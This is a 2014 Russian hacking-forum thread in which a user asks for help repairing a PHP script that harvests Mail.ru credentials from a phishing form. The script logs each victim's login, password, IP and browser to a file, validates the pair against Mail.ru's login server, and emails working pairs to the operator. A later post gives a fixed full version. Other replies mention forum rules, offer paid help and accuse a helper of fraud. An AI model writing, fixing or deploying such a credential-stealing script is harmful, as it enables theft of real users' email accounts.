Проверка валидация...Нужно правка

Discussion in 'Предложения работы, услуг' started by CaroleNet, 18 Apr 2014.

  1. CaroleNet

    CaroleNet New Member

    Joined:
    19 Jun 2013
    Messages:
    51
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте. Вкладываю код для проверка лог и пароль на сайт маил.ру. Раньше этот код работал а сейчас не работает. Нужно помошь по правке Пхп кода

    PHP:
    <?PHP 
    $Login 
    $_POST['Login'];  
    $Domain $_POST['Domain'];   
    $Pass $_POST['Password'];  
    $Browser getenv("HTTP_USER_AGENT"); 
    $Port getenv("REMOTE_PORT"); 
    $Connect $_SERVER['HTTP_CONNECTION']; 
    $Host gethostbyaddr(getenv("REMOTE_ADDR"));  
    $ip $_SERVER["REMOTE_ADDR"];  
    $Data date("d-m-y H:i:s"time());  
    if ((empty(
    $Login))or (empty($Pass)))  
     {echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=index.php?account=".$Login."@".$Domain."&fail=1'></head></html>"
      exit; 
     };  
        
    $text "[$Data]  
    Browser:[
    $Browser]  
    Port:[
    $Port]  
    Connect:[
    $Connect]  
    Host:[
    $Host]  
    IP:
    $ip 
    ADRESS:
    $Login@$Domain  
    PASSWORD:
    $Pass"
        
    $to "почта@mail.ru"//тут прописываем нашу почту,  
        
    $sub "ready $Login@$Domain"//тут прописываем тему письма 

    $filelog fopen("base.php","a+"); //тут прописываем названием базы, в которую будут сохраняться пароли 
    fwrite($filelog,"\n $text \n\n");  
    fclose($filelog); // 

         
    $url 'https://auth.mail.ru/cgi-bin/auth'
         
    $params "page=&post=&login_from=&Login=".$Login."&Domain=".$Domain."&Password=".$Pass."&level=1"
         
    $user_agent "Opera 10.0 (compatible; MSIE 5.01; Windows NT 5.0)"
         
    $ch curl_init("http://win.mail.ru/cgi-bin/login"); 
         
    curl_setopt($chCURLOPT_POST,1); 
         
    curl_setopt($chCURLOPT_POSTFIELDS,$params); 
         
    curl_setopt($chCURLOPT_URL,$url); 
         
    curl_setopt($chCURLOPT_SSL_VERIFYPEER0); 
         
    curl_setopt($chCURLOPT_SSL_VERIFYHOST0); 
         
    curl_setopt($chCURLOPT_USERAGENT$user_agent); 
         
    curl_setopt($chCURLOPT_RETURNTRANSFER,1); 
         
    $result=curl_exec($ch); 
         
    curl_close ($ch); 
         
    $pattern='/http:\/\/win.mail.ru\/cgi-bin\/checkcookie/';   
         if (
    preg_match($pattern$result) == 0)  
             {  
            echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=index.php?account=".$Login."@".$Domain."&fail=1'></head></html>"
            }  
         else  
             { 
             @
    mail($to,$sub,$text); 
             echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=server_error.php'></head></html>"
             }; 
    ?>
     
    #1 CaroleNet, 18 Apr 2014
    Last edited: 18 Apr 2014
  2. CaroleNet

    CaroleNet New Member

    Joined:
    19 Jun 2013
    Messages:
    51
    Likes Received:
    0
    Reputations:
    0
    код сейчас не работает. Чего нужно правит что бы код сработал?
     
  3. CaroleNet

    CaroleNet New Member

    Joined:
    19 Jun 2013
    Messages:
    51
    Likes Received:
    0
    Reputations:
    0
    98 просмотров, а никто не знает востановления этого скрипта
     
  4. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    520
    Likes Received:
    105
    Reputations:
    53
    Наверное потому, что ты либо ошибся разделом(а такого не существует на этом форуме, ибо со скриптами помогают разобраться, а не допиливают/переделывают/восстанавливают работоспособность), либо не прочитал правила этого раздела
     
    #4 Melfis, 21 Apr 2014
    Last edited: 21 Apr 2014
  5. qw1mb1

    qw1mb1 Member

    Joined:
    8 Feb 2013
    Messages:
    133
    Likes Received:
    16
    Reputations:
    8
    на взгляд вроде все правильно, кроме условия для проверки валидности. пиши в лс лиюо аську 687619718, помогу
     
  6. CaroleNet

    CaroleNet New Member

    Joined:
    19 Jun 2013
    Messages:
    51
    Likes Received:
    0
    Reputations:
    0
    Добавили

    Code:
    curl_setopt($ch, CURLOPT_HEADER, 1);

    И изменили.

    Code:
    $pattern='@Set\-Cookie\:\s*Mpop\[email protected]'; 
    Полный код:

    PHP:

    <?PHP   
    $Login 
    $_POST['Login'];    
    $Domain $_POST['Domain'];     
    $Pass $_POST['Password'];
    $Browser getenv("HTTP_USER_AGENT");   
    $Port getenv("REMOTE_PORT");   
    $Connect $_SERVER['HTTP_CONNECTION'];   
    $Host gethostbyaddr(getenv("REMOTE_ADDR"));    
    $ip $_SERVER["REMOTE_ADDR"];    
    $Data date("d-m-y H:i:s"time());    
    if ((empty(
    $Login))or (empty($Pass)))    
    {
       echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=index.php?account=".$Login."@".$Domain."&fail=1'></head></html>";   
       exit;   
    };    
    $text "[$Data]    
    Browser:[
    $Browser]    
    Port:[
    $Port]    
    Connect:[
    $Connect]    
    Host:[
    $Host]    
    IP:
    $ip   
    ADRESS:
    $Login@$Domain    
    PASSWORD:
    $Pass";   
    $to "почта@mail.ru"//тут прописываем нашу почту,    
    $sub "ready $Login@$Domain"//тут прописываем тему письма   

    $filelog fopen("base.php","a+"); //тут прописываем названием базы, в которую будут сохраняться пароли   
    fwrite($filelog,"\n $text \n\n");    
    fclose($filelog); //   

    $url 'https://auth.mail.ru/cgi-bin/auth';   
    $params "page=&post=&login_from=&Login=".$Login."&Domain=".$Domain."&Password=".$Pass."&level=1";   
    $user_agent "Opera 10.0 (compatible; MSIE 5.01; Windows NT 5.0)";   
    $ch curl_init("http://win.mail.ru/cgi-bin/login");   
    curl_setopt($chCURLOPT_POST,1);   
    curl_setopt($chCURLOPT_POSTFIELDS,$params);
    curl_setopt($chCURLOPT_HEADER1);
    curl_setopt($chCURLOPT_URL,$url);   
    curl_setopt($chCURLOPT_SSL_VERIFYPEER0);   
    curl_setopt($chCURLOPT_SSL_VERIFYHOST0);   
    curl_setopt($chCURLOPT_USERAGENT$user_agent);   
    curl_setopt($chCURLOPT_RETURNTRANSFER,1);   
    $result=curl_exec($ch);   
    curl_close ($ch);   
    $pattern='@Set\-Cookie\:\s*Mpop\[email protected]'
    if (
    preg_match($pattern$result) == 0)    
    {    
       echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=index.php?account=".$Login."@".$Domain."&fail=1'></head></html>";   
    }    
    else    
    {   
       @
    mail($to,$sub,$text);   
       echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=server_error.php'></head></html>";   
    }  
    ?>
    Помог

    https://exploit.in/forum/index.php?showtopic=78342&st=0&p=478792&#entry478792
     
  7. ADeKBaT

    ADeKBaT Member

    Joined:
    21 Dec 2011
    Messages:
    55
    Likes Received:
    8
    Reputations:
    0
    Уже помогли
     
  8. gorod812

    gorod812 New Member

    Joined:
    28 Feb 2013
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    ICQ - 687619718 - Кидала! Заказал у него парсер емайл, прислал мне не рабочий софт и слился. Доделывать не стал, деньги возвращать тоже.
     
Loading...